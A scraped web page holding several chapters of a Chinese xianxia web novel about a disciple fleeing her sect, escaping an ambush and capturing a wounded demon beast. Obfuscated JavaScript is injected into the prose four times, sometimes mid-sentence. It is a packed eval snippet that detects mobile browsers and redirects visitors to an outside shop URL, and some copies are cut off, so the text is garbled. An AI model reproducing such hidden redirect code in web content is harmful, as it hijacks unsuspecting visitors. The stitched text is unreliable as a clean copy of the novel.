她在他胸口蹭了蹭,嗅到清冷好闻的雪香,又赶在云临渡将她轰开前火速脱手。 归笙:“就像这样,师兄你已经好久没抱过我了。” 云临渡面若冰霜,唯独耳根气得通红,半晌说不出一句话。 归笙要的就是这个效果,他说那些话让她不痛快,那他也别想好过。 归笙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745412|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼笑转身,挥挥手道:“我走啦!师兄。” 说完她就跳出窗去,飞身窜进一个前不久偷偷打穿的岩洞,眨眼便没了踪影。 一路火急火燎,东躲西藏,一鼓作气溜出山路数里,直到确定云临渡跟丢了,归笙才略微放慢速度。 此时恰好来到一道开阔的崖岸,视野旷荡。 归笙停下脚步,举目四望。 风月广袤,明净无边,一派美不胜收的山川佳景。 但若仅仅如此,此地便不会是中州人人歆羡的七峰地界。 归笙眨了眨眼,定睛凝目。 但见溶溶圆月之下,无论岩石藤蔓,抑或草根花蕊,凡触目所及之物,无一不有澄莹的流光轻闪。 那流光有时细碎如萤火,有时连缀若水波,时隐时现,忽明忽灭,却又无时无刻无处不在,仿佛众生万象静谧的吐息。 归笙抬手,接下山风拂来的一点流光。 这是灵髓。 五方域境内,除东丘之外,西漠、中州、北原、南溟,各有灵源,或为沙漠戈壁,或为峰峦江河,或为高原雪山,或为渊崖礁石…… 灵源吞吐灵髓,充盈天地之间,修士经过修炼,可将其内化作髓华,融入自身髓脉,而髓华的多与少,决定了修士修为的高与低。 以中州为例,七峰为中州境内最为强盛的灵源,历来为各家宗门所争夺,目的是让门下修士能获得更充裕的灵髓修炼,故而最终能够占据七峰的,只有中州实力最为强劲的宗门,如今正是天霄派。 近三百年来,不乏有其他门派企图将天霄派打下七峰,取代其中州第一的位置,但到底无一成事,日子久了,其他宗门表面上便也收了心思,因而中州的局势已许多年没有大的变动。 扯远了。 归笙收回思绪,垂眸看定指尖的一点灵髓。 她体质特殊,生来没有髓脉,无法如寻常弟子那般修炼,即无法将灵髓内化为髓华,也因此没有半分修为。 本来无论如何,她都是成不了修士的。 但是…… 归笙摊开手掌。 灵光柔绽间,一道殷红丝线,穿过九颗圆润精巧的核桃,静静浮现在她的掌心上方。 类似剑修的灵剑、丹修的炉鼎,这九窍核桃是她的本命法宝。 是她三岁时,她的师母针对她的情况,为她量身打造的法宝。 整串核桃如同一条置于肉身之外的髓脉,只要周围存在灵髓,便能由核桃取之,为她所用,使出单个核桃内蕴的术法。 这法宝平时栖居在她的元魂天工海中,也可像眼前这般化出实体形态。 与所有同修士元魂相连的法宝一样,实形的毁损并不会伤及法宝本身,即便核桃破碎,下回使用时,其仍能从天工海中照常化出,除非她自己肉身崩毁,元魂尽散,九窍核桃才会同她一道消亡。 一言蔽之,她和它是同生共死的关系。 归笙探出手指,在第一颗核桃上,轻轻一点。 四面八方的灵髓便如涓涓水流,汇入核桃表面斑驳的孔隙。 归笙试探着,轻声念道:“一爻,疾行。” 刹那间,灵髓光华流转,核桃术法加身。 随即,身如轻鸿,掠入山岚。 4. 截杀道(上) 归笙没有髓脉,这是只有师母和师父知晓的秘密,就连她师兄也不知情,他还以为她鬼迷心窍,成日不务修炼,只知道闷头捣鼓核桃法宝。 过去师母师父在时,无人敢说她什么,但自从三年前他二人杳无音信,魂灯骤熄,天霄派那帮人便将她和师兄视作眼中钉肉中刺,认为他们师兄妹是自己夺取栖雪峰的最后阻碍。 归笙还好,毕竟她常年窝在栖雪峰不大出来,出来也常常是通过各种偏门小路直通凡间,天霄派那帮人连她的人影都找不到,更不用说找她的茬。 但她师兄不同,云临渡自幼与天霄派的其他弟子一道进学修炼,日常要在宗门里露脸,师母师父离开后,他又代为接管栖雪峰的事务,和那群老家伙碰面的次数更是被迫急剧攀升。 所以这么些年,师兄没少因为她而无妄挨训,再加上他二人之前就有些没解决的争执,彼此间的关系无可奈何地恶化了许多。 但归笙也没有办法。 师母是这样告诫她的:“一旦髓脉的事情暴露,你绝对立刻就会被天霄派抓起来、关起来、吊起来、剖开来研究,所以这件事你给我捂得死死的,就算死了也要带进坟墓里,听见了吗归小笙?” 虽然归笙听出了恐吓的成分,也坚信天霄派没那个能耐在师母眼皮子底下把她抓走,但她到底不敢忤逆师母,所以乖乖听话至今,其间无数次想和师兄解释,都生生忍了下去。 好在如今,她就要离开天霄派的地界了。 想到此处,归笙捏紧手里的一爻,本就施加疾行术法的步伐愈发轻捷。 天霄派内处处掣肘,她用核桃都得提防被人看到,毕竟修士的常识是有修为才能用法宝,导致她为每一颗核桃创造的术法至今没有检验之机。 眼下出逃,她自然要好好挨个尝试一番。 又跑了一阵,归笙来到一处岔路口,共有四个方向可走。 她过去下山时,一向只走其中一条道,但此刻她握着二爻,思考要不要检验一下它的找路术法。 谁知未及动手,变故陡然降临。 一张巨网从天而降,覆压方圆十丈有余,将归笙兜头压倒的同时,也封死了周围所有的退路。 织网的金线滚烫,触及皮肤的刹那,便烙出数道燎痕,皮开肉绽的“滋滋”声里,归笙痛得眉毛狂抖。 此物她认得,是天霄派独有的法宝,太虚络。 “我就说吧,这狡猾的讨厌鬼一定会趁夜逃走!” 一道得意洋洋的声音打破山中的寂静。 归笙压下痛意,循声抬头,看见晦暗的夜色中,走出个花里胡哨的少年。 正是不久前的中秋宴上,遭她戏耍一通的那名少年。 他一袭眠阳峰的服饰形制,且品级规格极高,身后还跟着两个修为不俗的侍从,可知其身份尊贵。 他的身份也的确尊贵,是眠阳峰当今的少主,叶南。 听叶南所言,那两名侍从嗷嗷附和:“少主英明!少主威武!” 叶南一手攥住太虚络的抽绳,另一手的大拇指得意地一抹鼻头,昂首阔步地走上前来,准备一睹讨厌鬼的狼狈之相。 却见金光灿灿的太虚络中,少女盘腿端坐,阖眸肃容,竟是一副不受红尘纷扰的超然入定之相。 叶南:“?” 这画面和他想象得不一样! 这个毫无修为的废物,不该被噼里啪啦乱炸灵髓的太虚络痛到屁滚尿流吗? 怎么这会儿太虚络罩在她的身上,还给她披出了几分法衣金身的神圣感呢?! 叶南那边天崩地裂,这边归笙好似才注意到他,撩起白薄的眼皮,露出一对轻蔑的黑瞳。 她慢条斯理地抬手,捏捏耳朵,道:“眠阳峰的小绵羊瞎叫唤什么,吵到我潜心进修了。” 叶南瞪着她,仍旧不可置信:“怎么可能……你明明是……” 归笙歪头:“明明是不学无术的废物对吗?为何居然能在太虚络的绞索下泰然自若?” 她咧嘴一笑:“怎么样?是不是吓了你一大跳?” 又朝他勾勾手,道:“哭来看看,哭了就告诉你为什么,咩~” 叶南:“……” 心知其中定有猫腻,但这人实在嚣张得太过欠揍。 这口气忍不了! 一番犹豫后,叶南还是鼓起勇气,一步步向太虚络走近。 他倒要看看,这个讨厌鬼是否真如她所表现的那般从容,但凡看到她额角有一滴汗,听到她喘乱一口气,都足以证明她在虚张声势! 只要确认她状态低迷,后续的计划就水到渠成…… 觑着叶南的身影渐行渐近,归笙悄然弯起眼睛。 小绵羊上钩了。 归笙暗中加固四爻盾,又不动声色放出三爻攻。 四周杂草掩映间,飞旋的核桃片利若钢刀,一条潜行的地龙般,无声无息地游窜至叶南的靴边。 叶南只觉脚尖一凉,低下头时,他的靴尖已被整齐割断,白花花的脚趾暴露在空气里。 与此同时,两道核桃片腾地而起,一片直取他手里太虚络的抽绳,另一片则不偏不倚刺向他的咽喉。 叶南霎时爆发出一声惨叫,比林间嘎嘎的鸦啼还要凄厉。 “爹!她要杀我——” “砰——!” 形如一簇烟花炸开,一道法阵凭空乍现,顷刻便将两只核桃片碾作飞屑。 法阵光轮浩浩,归笙望着从中走出的中年修士,并不意外。 就叶南那个胆子,没人在背后给他撑腰,他怎么敢单枪匹马过来堵她。 归笙拍手鼓掌,状似心悦诚服地道:“叶峰主,你宴上醉成那个熊样,大晚上的不搁自家山头呆着醒酒,拖家带口地下山溜达,着实好兴致。” 来者正是眠阳峰峰主,叶南他爹,叶晦。 也就是几个时辰前差点被她割了舌头的那个。 人如其名,晦气得很。 叶晦走近两步,与归笙隔着一丈的距离,尚未开口。 归笙却突然打了个喷嚏,捂住鼻子,嫌弃道:“叶峰主,我说你就算要背地里搞这种设陷阱逮小辈的不光彩之事,至少来前能不能稍微清理一下自己身上的酒臭味……哕……” 听到那个绘声绘色的“哕”,叶晦登时额角青筋一蹦,强压下立刻将此人大卸八块的怒意,冷冷地道:“油腔滑调!以为激怒了我,我便会给你一个痛快么?太天真了。” 他眼眶通红,又隐含大仇即将得报的痛快:“当年我父亲是如何伤重不治,濒死之际是如何百般痛苦,我定要你原封不动,切身尝受!” 归笙恍然。 难怪是用太虚络逮她,而不是直接一道杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745413|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵了事,原来这是要把她抓回眠阳峰慢慢折磨啊。 心念电转,归笙擦掉眼角哕出的泪花,笑了一声,拖腔拉调地道:“我说叶峰主,你脖子上那玩意儿是摆设吗?会算数吗?五六十年前眠阳峰大祸临头之时,我可还没出生呢,你抓我泄愤是个什么道理?” 叶晦不为她言语所激,冷哼道:“栖迟妖女既已身死,她生前所造下的杀孽,由她尚在人世的弟子偿还,岂非天经地义?” “身死”二字,犹如两枚掷入湖中的石子,引得归笙眼底涟漪微动。 她唇角浮起笑意:“原来如此。” 叶晦被她那莫名愉悦,又莫名讥诮的笑意刺痛,正着恼间,又听她道:“原来不早早动手,是因为心知肚明自己的实力连我师母的一根头发丝都碰不着,所以只敢在我师母离宗三年后,退而求其次地向我复仇。” “叶峰主,你好歹还是一介峰主,混成这样,你丢不丢人?” 修真界,实力为尊。 而衡量实力的重要标准,就是修为。 除了归笙这样的异类,对着一个正常的修士说“你修为真差”,或者“你修为不如某某”,无异于把该名修士的脸皮摁在地上摩擦。 尤其对叶晦这种久居高位,修为被旁人奉承惯了的家伙而言,骂他实力不行,是一种胜却下三路叠加祖宗十八代的脏话。 这不,他气疯了。 叶晦的脸皮瞬间涨成了猪肝色,跟又喝醉了一回似的,气得话都说不利索了:“你师母修为再高又如何?!她杀人如麻,满手鲜血,注定不为天霄派……不为正道所容!” 归笙:“杀人如麻?” 她冷笑不止:“当年是我师母先动的手吗?分明是除了霞澜峰外的其他五峰,因为觊觎我师祖留给师父的栖雪峰,趁我师父除祟归来身负重伤,以数百之众对我师父一人,剑指咽喉命他解开栖雪峰的镇山石……要知道,我师母当时若再晚到一步,如今便没有我师兄了!这就是你们自诩的正道?” 叶晦针锋相对:“七峰作为中州最盛灵源,本就为天霄派……不,为中州所共有,是你师祖为一己之私,想将栖雪峰据为己有,因而不由分说,一意孤行将栖雪峰与其他六峰切割开来,设下镇山石,致使栖雪峰灵源受阻,倾吐灵髓一落千丈,令所有中州修士深受其害!我父亲等前峰主长老命云雪意解开镇山石,是替天行道,自然问心无愧!” 归笙没接他的话,毕竟师祖这事她确实不清楚个中缘由,师母和师父也从未提过栖雪峰为何要独立于其他六峰。 她不吵没把握的架,于是接着师母当年暴打其他五峰的事说:“我师母说了,她当年动手前,特意留了十声给诸位前辈逃跑,结果从一数到十,没一个动的,她觉得不能辜负诸位选择留下的包天大胆,所以稍微认真了点……” 想起好笑的事情般,归笙忽然狂拍膝盖,乐得直不起腰:“谁知诸位实在是弱得惊天地泣鬼神,没过两招便溃不成军,四处逃窜,不禁令我师母怀疑‘中州第一’的天霄派是不是由欺世盗名的骗子组成的门派……” 归笙捂着笑痛的肚子,抬起泪花晶莹的眼睛。 “至于你父亲,大概是骗子里最弱的那个吧。” 她盯着叶晦,一字一顿地道:“所以,别人都是重伤,就他一个死了。” 叶晦暴喝:“竖子尔敢!” 5. 截杀道(下) 盛怒之下,叶晦也忘了要将归笙抓回眠阳峰折磨致死的盘算,扬手甩出一道绞杀法阵,直取归笙喉颈。 然而归笙早有准备,就地一滚,堪堪躲过。 不做停顿,她翻身坐起,不声不响地探手,摸向方才被法阵击中的网绳,如愿以偿地摸到一处被法阵绞裂的破洞。 归笙眨了眨眼,藏在袖下的手一翻,握住一只核桃片。 一击过后,叶晦稍稍冷静,劈手夺过叶南手里的束绳,猛力一抽。 刹那间,太虚络猝然收紧,线络深深嵌入归笙的皮肉,空气中漫开刺鼻的焦味。 归笙跪坐在地,双手背在身后,两肩似因痛苦而微微颤抖。 叶晦看着她苍白的面色,总算舒心了些,道:“很痛苦吧?不如乖乖闭嘴,束手就擒,至少还能安稳度过去眠阳峰的这段路程。” 归笙却放声大笑:“束手就擒?那也得看你有没有那个能耐!” 忽然之间,四面狂风拔地而起,山林呼啸如鬼魅乱舞,一道破空之声急啸而来,叶晦提着叶南迅速后退,两颗眼球大小的石子堪堪擦过二人鬓边。 叶晦:“雕虫小技!” 归笙踉踉跄跄地站起,没管将她拧成麻花的太虚络,下巴一抬,对准叶氏父子道:“刚好,出逃也要逃得名正言顺,正好拿你父子二人的命,涂我出逃的罪状!” 叶晦斥道:“狂妄!” 他祭出截杀法阵,列于二人之间,归笙却桀桀而笑,不退反上。 狂风中飞散的发丝张牙舞爪,与太虚络涌动的金光交织缠绕,再配上她那副天不怕地不怕的嚣张气焰,真如一头怒发冲冠、直立行走的狼豺虎豹。 而气势这东西,在对战中向来是此消彼长。 迎着叶晦惊疑不定的目光,归笙邪魅一笑:“我伪装多年,真是憋得好生辛苦!” “你也不动脑子想想,我师母师父一对人中龙凤,教出的徒弟怎会真的是一介废材?” “你们父子真真是有眼无珠,自作聪明,自投罗网!” 她口若悬河,气势如虹,叶晦眸光明暗不定,拿不准她究竟是虚张声势,还是真的多年蛰伏,隐藏了真正的实力。 叶晦犹豫之际,归笙已闪身来到法阵之前,投下藐视一眼。 她扬手一拍,重重黑雾冲天而起,顷刻遮天蔽日,吞没法阵。 叶晦大骇,仓促架起防御法阵,生怕那黑雾中留有后手。 然而,想象中的后手迟迟未到,当叶晦意识到不对时,为时已晚。 黑雾消弭,那个叫嚣着要夺他父子性命的狂妄之徒,已然不见人影。 满地崩断的线络间,只留下三只干巴巴的核桃片。 “……” “……” 与此同时,百丈开外的山脊线上。 没过人顶的灌木丛无风自动,自行分开一条一人宽的通道。 乍一看去,着实诡异至极,仿佛有个透明的人正在灌木丛中疾速穿行。 事实上也的确有个人在其中穿行,正是成功脱身的归笙。 归笙一边拨开灌木拔腿狂奔,一边在心底欢呼雀跃。 三爻割断太虚络,六爻幻化狂风迷雾,五爻隐匿身形开溜,一套组合技下来简直完美! 尤其是五爻潜息匿影和六爻易物幻形,这两颗核桃打起配合来,果真同她最初设想的一样,是跑路的一把好手! 不枉她当初制作这俩核桃的术法时,泼洒出大把大把的心血,薅下来大把大把的头发。 陶然感慨完自己可真是个天才,归笙收整好心绪,专注于脚下的道路。 快了快了,只要出了这片灌木丛,再涉过一条急流奔涌的河滩,便能从一处山壁间的夹缝中拱出去,抄近道溜出天霄派地界了! 叶晦虽然人不咋地,但到底是个正儿八经的峰主,修为不容小觑,她是傻了才要跟他正面对决。 她可没他那么闲,她还有要紧的正事,没工夫陪他耗在这里。 归笙一头钻出灌木丛,拍掉扎了满头的灌木叶,一眼望见不远处的河滩,在皎月下泛着粼粼的波光。 胜利就在前方,归笙不做停留,立刻顺着连接河滩的缓坡而下。 山路难行,归笙全程低头,密切关注足下路况,生怕被山岩绊倒。 然而即便她如此谨慎,没走七八步,归笙还是一个踉跄。 却不是被绊得,而是被吓得。 ……这些突然叠在她影子上的密密麻麻的网格是什么东西?! 归笙愕然抬头,完全没有反应的时间,便被一张巨网糊了满脸。 不是吧? 又来?! 太虚络之所以得名,是因其由太虚主峰吐出的灵髓织就,放眼中州境内,几乎可擒万物,珍贵异常。 正因如此,云起凡那个抠门的家伙每年才分给各峰一条太虚络——当然他们栖雪峰是一条也没有的——但他们眠阳峰哪来的第二条?! 不及多想,身后又是一道劲风袭来,不知什么东西将归笙狠狠一撞。 这一撞的力道之大,直接将归笙撞得飞了出去。 落地后也没刹住,骨碌碌滚下了坡道。 栖息在河滩边的鸟兽听闻异响,纷纷循声举首,见一不明物体疾滚而来,登时尖叫着四散惊逃。 “哗啦——” 铺天盖地的嘈杂声里,归笙连人带网地滚进了河滩。 好在天无绝人之路,网绳被一道凸起的驳岸石勾住,一把将归笙兜停。 水花飞溅,归笙在水里扑腾两下,扒住一块石壁,勉强稳住了身形。 吐掉满嘴的淤泥,她抹掉糊眼的泥水,勉强睁开眼睛。 什么都看不清。 倒不是她滚了一路把眼睛滚瞎了,而是此刻周围充满了缭绕不休的黑气,封死了她的视野。 哪里来的黑气? 总不会是叶晦被她拿黑雾耍了一通,要有模学样地报复回来吧? 归笙龇着牙咧着嘴,半点不敢耽搁,在黑暗中一阵艰难摸索,试图将与双腿缠成一团乱麻的线络解开。 无果,她只得去催动三爻,故技重施,拿核桃片割开线络。 然而甫一割下,身周的黑气陡然暴涨,悍然将核桃片震飞。 归笙一愣。 这黑气,竟然是这缚网发出的。 发现这一处异常后,归笙顿时觉得哪哪都不太对。 这缚网虽然滚烫,绑在身上的痛楚也与太虚络如出一辙,但凝神感知,便可分辨其所散发的并非清明正气,反而是一股邪诡妖魅的煞气。 中州灵源多为山川湖海,为天地灵气所结,但凡以中州灵髓所炼的法宝,绝不会携带如此浓重的煞气。 而五方域境内,正有一处域境,以妖魔邪煞闻名。 再结合师母手写的那本《法宝百闻录》,其中有一物与太虚络齐名,归笙几乎已经作出判断—— 此刻绑住她的东西,不是中州的太虚络,而是北原的缚妖索。 可是北原的缚妖索,怎会凭空出现在中州境内? 何况这里还是天霄派地界,到处都是截杀妖魔的结界,若真有妖魔侵入,还轮不到它缚妖索大展身手。 而且最重要的是,缚“妖”索, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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归笙的求知欲空前强烈,当即又是不分轻重地一通胡抓,铁了心要通过抓握获悉手中之物的全貌。 那根条状物在她的手中急遽升温,难以忍受地颤抖起来,尝试克制地挣扎,却死活逃不开归笙的魔爪。 最终,对方忍无可忍,道:“别动了。” 那根条状物应声一甩,从归笙的手中抽离。 奇异的是,甩过之处竟凭空燎开一簇青色的焰火,短暂地驱散了缚妖索的黑气。 眼前豁然开朗。 看清缚妖索另一头的状况,归笙释然了。 她就说嘛。 人身上怎么会有那种尾巴一样的东西。 只见一臂之距外,驳岸岩边,蜷伏着一只两人宽长的兽类。 那兽类通体玄黑,形貌似虎类豹,却远比归笙见过的寻常虎豹要来得遒美矫健,威风凛凛。 即便它那对蛰伏在背的玄色羽翼此时伤痕累累,血流交错,也不敢让人生出一分一毫的轻慢之心。 而方才归笙所抓的,正是此兽的长尾。 冷月之下,那条长尾两侧伴生的沉银锁链寒光寂寂,被水流浸湿的尾羽亦泛着一层极其浅淡的青色。 如同荒原雪林里吊悬的磷火,时隐时现,诡谲莫测。 6. 玄婴兽 见到这只受伤的兽类,归笙立刻将来龙去脉猜了个大概—— 缚妖索放出时,此兽恰好逃到此处,与她撞了个正着,缚妖索便顺道也将她抄进了网。 简言之,她被这家伙连累了。 缚妖索的黑气重新聚拢,归笙不及多欣赏一会儿此兽的美貌英姿,便又是两眼一黑。 不过视线受阻,根本阻挡不了她与之交流的热情。 归笙摸着黑,兴致勃勃地爬了过去,热络地同此兽攀谈起来:“你是妖兽?还是魔兽?说起来我还分不大清妖兽和魔兽有什么区别,是魔兽更强一些吗?看你这遍体鳞伤还气定神闲胜券在握的睥睨之态,你是魔兽吧?” “慢着不对,魔兽的长相应当更狂放不羁一些,你这长得相对精致可爱了点……好的我判断你是妖兽,你是哪种妖兽?你是从北原过来的吗?听说你们的老大魔尊死了?那北原现在岂不是乱成一锅粥了……” 黑暗中,妖兽原本神色镇静,然而听着听着,它的眉头逐渐皱起,浮现出一种不堪受扰的不耐,尤其是听到“精致可爱”的评价时,两颊长长的腮须剧烈地抖了一抖。 妖兽觉得再不说点什么,这个自来熟的人族就会一直这样絮絮叨叨下去。 于是它纠正道:“我是魔兽。” 归笙从善如流地改口:“好的魔兽,不对,魔兽怎么会被缚妖索困住?你……” 魔兽:“这索妖魔都能抓。你话怎么这么多。” 归笙:“行行行那我不废话了,咱们来谈正事吧——怎么出去?” 她顶着缚妖索坐起身,盘起腿,放低声音道:“你在这心安理得地躺平,应该是笃定仇家短时间找不上门吧?但告诉你个不幸的消息:追杀我的人就在附近。我可不保证他们找过来后,会不会把你当成我的同伙,连我带你一块儿宰了。” 陈清利害后,魔兽虽沉默不语,但归笙察觉到它蜷伏得没那么放松了。 归笙当即再加把火:“退一步来讲,即便咱俩的仇家都没找上来,但若是让夜巡的修士碰到了,那咱们的处境也是相当的危险!毕竟天霄派带头立过规矩:‘中州境内路遇北原妖魔,杀无赦’——你说好死不死?咱俩呆的这地正正好好是天霄派。” “……” 终于,魔兽无奈地开口:“我髓脉为此索所封,两个时辰内难以冲破。” 髓脉被封,无法调动髓华,一如容器被封口,纵有满腹修为,也难使出分毫。 归笙阳光开朗地道:“你髓脉被封,但我没有啊。” 魔兽漠然地道:“以你的修为,冲不破这缚妖索。” 话中并无讥讽轻视,只是在平静地陈述一件事实。 灵髓与髓华同根同源,即便后者已被修士内化,归于肉身的髓脉之中,但仍与外界灵髓存有牵系,因而修士的髓华深浅不同,与灵髓的感应也不同,身周的气息会有所差异,可依此来大致判断一名修士的修为。 尤其是修为高者刺探低者修为,直如俯观蝼蚁,后者根本无所遁形。 所以魔兽能清楚地感知到,身前这名话痨修士的体内没有一丝髓华。 然后这名没有一丝髓华的话痨修士就把手怼到了它的前肢上。 归笙:“你手……不是,爪子给我。” 魔兽:“……做什么?” 归笙催促:“快点儿!你我素昧平生的,我平白无故的有什么理由害你?反倒是我受你牵连被逮进这个缚妖索里!我真的只是想尽快出去。” 魔兽:“……” 片刻,或许是觉得以她的修为,蓄意谋害也掀不起什么风浪,一只毛茸茸的兽爪,到底是顺从地搭上了归笙的手。 刚搭上,归笙便是一阵汗毛倒竖。 此兽虽然刻意敛起了利甲,但那份潜藏在毛发下的锋锐,仍旧通过相叠的掌心传递了过来。 归笙敢断定,倘若动起真格,这魔兽绝对能一爪把她从头皮到脚尖完整地划拉开来。 归笙缩了缩脖子,没忍住,又揉了揉那厚实的肉垫,才解释道:“借你髓华一用。” 话音才落,一股浑厚的髓华便自魔兽的掌心溢出,通过一人一兽的手掌相触之处,源源不断地涌入归笙的元魂天工海,注入栖居其中的九窍核桃。 魔兽:“引渡术?” 归笙:“嗯嗯。” 不怪它语声惊讶,这引渡术法偏门又难学,但由于她特殊的体质和九窍核桃的原理,再难学都要硬着头皮上,所以这么多年下来,也算习得一手引渡灵髓与髓华的好技术。 三爻汲取到魔兽的髓华,蓄力完毕后,当即冲出元魂,直斩缚妖索。 一阵眩目的白光后,缠绕满身的束缚感尽数退却。 归笙睁开眼,依稀可见河面断线零落,线身散发的黑气随波逐流,滚滚冲天,似缚妖索报废前的最后绝唱。 归笙搓着手心,瞠目结舌。 这魔兽……好强。 她本来以为和叶晦的法阵一样,只能在这缚妖索上凿出个洞来着。 没想到一刀下去直接砍成渣了,这还是她只借了一点髓华的情况下…… 缚妖索散发的黑气依旧阻扰视线,可见的范围极其狭仄,归笙还是看不见魔兽的尊容。 但这不妨碍她自报姓名,不无谄媚地道:“敢问魔兽大人你尊姓大名啊?好歹我们也算共患难过了,还互帮互助解开了这缚妖索,互通姓名交个朋友不过分吧?” 身前一阵静默,连呼吸声都听不到了。 归笙:“魔兽大人,您还在吗?您伤重不治了吗?” “……” 黑气散去,魔兽果然不见兽影。 取而代之的,是一道高颀的人影。 驳岸岩的阴翳下,少年一袭玄色劲装,正不紧不慢地抬手,将狼鬃发似的发尾拧干。 指缝间滴落的水流,顺着抬起的手臂,一路顺着冷白遒劲的身体线条,汇至其腰腹处的衣料,洇作一朵朵暗色的花。 察觉归笙的视线,他偏首望来。 左耳下一线明明艳色,晃得归笙眼睛一花。 定睛看去,那是一只红缨耳珰。 耳珰与眼角的魔纹交相辉映,为那副本就冶丽的眉眼更添妖异。 尤其是那对浅金的竖瞳,不声不响地觑着人时,给人以野兽眈眈的森然怖意。 归笙:真是一副非常魔族的长相呢。 可就是这样一张浓烈到绝非善类的脸,却因那满脸寡淡似白水的神情,彼此达成了一种奇异的平衡,让人不敢对他轻易造次的同时,也不至于望而生畏。 少年开口,道:“烛烬。” 归笙一愣,随即反应过来,这是他的名字。 烛烬拧干发尾,又摊开掌心,一丛青色的火焰自掌心腾起,转眼便将他整个人裹入其中。 归笙:“???” 这是在干什么? 玩火自焚吗? 又仔细看了眼,归笙知道她想岔了。 那丛青焰看似将烛烬整个囫囵吞没,实则精准地燎过他身上所有渗血的伤口,并将从伤口中逼出的阴毒之气焚毁,想来那正是先前封住他髓脉的缚妖索的煞气。 或许是因为他遍体鳞伤,所以才看起来像从头到尾在青焰里涮了一遭。 归笙看得一阵幻痛,烛烬却连眉头都没皱一下。 就好像类似的燎伤止血的过程,他已经做过了成百上千次。 归笙不理解他的操作:“为何要变成人形再燎伤?” 论起皮糙肉厚,人形肯定不如兽形,兽形的痛感应当会小一些。 烛烬答:“不想把毛烧光。” 归笙:“……好接地气的理由。” 不过确实,衣裳烧光了还可以买,毛发烧光了就只能等它慢慢长回来。 一盏茶的工夫后,青焰熄灭,烛烬转身又化作魔兽形态。 浅金的眼瞳似两盏煌煌秋月,摹拓归笙的倒影。 他道:“多谢,告辞。” 归笙欣然摆手:“不用谢。” 她说完,仍旧盘腿坐在水里,笑盈盈地托腮,似是要目送他离去。 烛烬莫名觉得她笑得有些诡异,又想不通她为何要这么笑。 他便也不想了,一甩长尾,尾上锁链寒光一凛,髓华隐动。 却也只是动了一下。 “哗啦啦——” 水花四溅。 望着前方一头栽进河滩的魔兽,归笙施施然站起,拍了拍手。 一捆绳索应声自乾坤袋中掣出,“嗖嗖”两声,麻利地将烛烬五花大绑。 这绳索虽不是太虚络和缚妖索那类上等法宝,但用来拴住一个在引渡髓华时被她偷偷下了麻痹散的魔兽,还算是绰绰有余。 她岑箐师姐作为霞澜峰的首席丹修弟子,和她师父岑翎一样,一丹千金难求,而岑箐炼出什么稀奇古怪的丹药,都习惯性地先送她一颗。 这出自岑箐之手的麻痹散,口服或外敷即可,归笙曾亲自检验过效果。 她选的是口服,入口即化,口感极佳,只是再度恢复意识的时候,时间已经过去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745415|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个月,云临渡给她的坟都挖好了。 而眼前的这头魔兽竟然还能睁着眼,不得不称赞一句意志顽强。 归笙笑眯眯地走到烛烬跟前,道:“不要随便把爪子递给陌生人呀。” 烛烬四肢无力,头晕目眩,看眼前的人就像在看一扎扭曲的面条。 但他的头脑还算清醒,判断这会儿脱身无望后,也不再做无谓挣扎。 他道:“你想做什么?” 比起惊慌失措,他更多的是不知她动机的疑惑。 归笙拢袖含笑,正色道:“北原上千魔族,有族名曰‘玄婴’,外形似虎类豹,背伏双翼,身带碧青冷焰,尾羽锁链有噬空之能,可破山海,裂八荒。” “然而近三百年来,玄婴族声名狼藉,北原诸族共诛之,因而流离失所,族群凋敝,尤其近一百年来,族裔急剧减少,直至灭绝……个中缘由众说纷纭,主流说法为其祖上作恶多端,为世不容,故而招致天谴。” 背诵完从天霄派书目上读到的文字,归笙垂眸,看向伏在水中的魔兽。 “没想到,传闻中已经灭绝的玄婴一族,竟然还有在世的后裔。” “……” “玄婴”二字,犹如一柄利刃,划破了魔兽始终平静的面容。 难堪、怨恨、迷惘。 诸多深刻而复杂的情绪纠缠对抗,最终归于一片死水般的沉寂。 烛烬漠然道:“那又怎样。” 归笙将他的神色变化尽收眼底,宽慰道:“别紧张,我和你无冤无仇,自然不会对你喊打喊杀,也不打算对你做什么过分的事情。” “不过嘛,这就跟穷鬼在路上捡到一大锭金元宝一样……” 谈起穷鬼心得,归笙霎时目放异彩,一派指点江山的大家风范。 